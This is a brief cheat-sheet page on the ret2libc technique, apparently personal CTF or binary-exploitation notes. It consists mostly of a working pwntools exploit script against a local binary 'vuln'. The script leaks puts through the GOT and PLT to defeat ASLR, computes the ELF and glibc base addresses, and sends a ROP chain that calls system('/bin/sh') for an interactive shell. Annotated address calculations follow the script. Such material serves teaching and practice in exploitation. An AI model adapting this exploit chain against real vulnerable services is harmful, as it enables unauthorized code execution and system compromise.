Skip to main content

ret2libc

When NX is enabled and is dynamically linked.

Example 1

from pwn import *

context(os='linux', arch='amd64')

context.binary = elf = ELF('./vuln')
glibc = ELF('glibc/libc.so.6', checksec=False)

p = process('./vuln')

# Find somewhere to leak the address of puts
# Interact with the program...
p.sendlineafter(b'> ', b"AAAAAAA")
p.recvuntil(b'> AAAAAAA\n')

leak = u64(p.recvline().strip().ljust(8, b'\0'))
log.success(f'puts leak: {hex(leak)}')

# Check what is the offset from the base of ELF (to calculate 0x*000)
elf_base_offset = 0xd70
elf.address = leak - elf_base_offset
log.success(f'ELF base address: {hex(elf.address)}')
# [+] ELF base address: 0x5589ad600000

#####################
# Load ROP gadgets after setting elf.address
rop = ROP(elf)

# Padding to the overflow return address
offset = 88

# Build the ROP chain to leak puts address at runtime
payload = flat({
offset: [
rop.rdi.address, # or pop.rdi[0] -- We only need 1 argument so "pop rdi; ret;" is used
elf.got.puts, # Add Global Offset Table (GOT) puts as the first argument
elf.plt.puts, # Return from current function will call puts from the Procedure Linkage Table (PLT)
elf.sym.main # Return to the start of the program using the Symbol Table
]
})

p.sendlineafter(b'> ', payload)
p.recvline()
p.recvline()

puts_addr = u64(p.recvline().strip().ljust(8, b'\0'))
glibc.address = puts_addr - glibc.sym.puts

log.success(f'Glibc GOT puts address: {hex(puts_addr)}')
log.success(f'Glibc base address: {hex(glibc.address)}')
log.info(f'ELF GOT puts address: {hex(elf.got.puts)}')
log.info(f'ELF PLT puts address: {hex(elf.plt.puts)}')

###########################
payload = flat({
offset: [
rop.rdi.address,
next(glibc.search(b'/bin/sh\0')),
# rop.ret.address, # stack alignment
glibc.sym.system
]
})

## Interact with program to reach vulnerable point...
p.sendlineafter(b'> ', payload)
p.recv()

p.interactive()

Notes

# [*] puts leak                  -  hex(leak)            -  0x5589ad600d70
# [*] ELF base offset - hex(elf_base_offset) - 0x000000000d70
# [*] ELF base address - hex(elf.address) - 0x5589ad600000
# [*] ELF GOT puts addres - hex(elf.got.puts) - 0x5589ad802f90
# [*] ELF PLT puts address - hex(elf.plt.puts) - 0x5589ad600760

# [*] elf.address = leak - elf_base_offset
# [*] 0x5589ad600000 = 0x5589ad600d70 - 0x000000000d70

# [*] Glibc GOT puts address - hex(puts_addr) - 0x7f0ce646f6a0
# [*] Glibc symbtab puts address - hex(glibc.sym.puts) - 0x00000006f6a0
# [*] Glibc base address - hex(glibc.address) - 0x7f0ce6400000

# [*] glibc.address = puts_addr - glibc.sym.puts
# [*] 0x7f0ce6400000 = 0x7f0ce646f6a0 - 0x00000006f6a0

## glibc.sym.puts is equal to 0x00000006f6a0 before glibc.address is set.
## Once glib.address is set, it updates to the actual address of puts (puts_addr or 0x7f0ce646f6a0)
## Then, all symbols should be loaded in glibc.sym
## Same is true for elf.gots and elf.plt addresses
## For instance:

# [+] before setting glibc.address - glibc.sym.puts - 0x00000006f6a0
# [+] after setting glibc.address - glibc.sym.puts - 0x7f0ce646f6a0

# [+] before setting glibc.address - glibc.sym.system - 0x0000000453a0
# [+] after setting glibc.address - glibc.sym.system - 0x7f0ce64453a0

# [+] before setting glibc.address - glibc.sym.printf - 0x000000055810
# [+] after setting glibc.address - glibc.sym.printf - 0x7f0ce6455810

## Other functions than puts could be used to leak the address, like the read function
## that we're sure is present.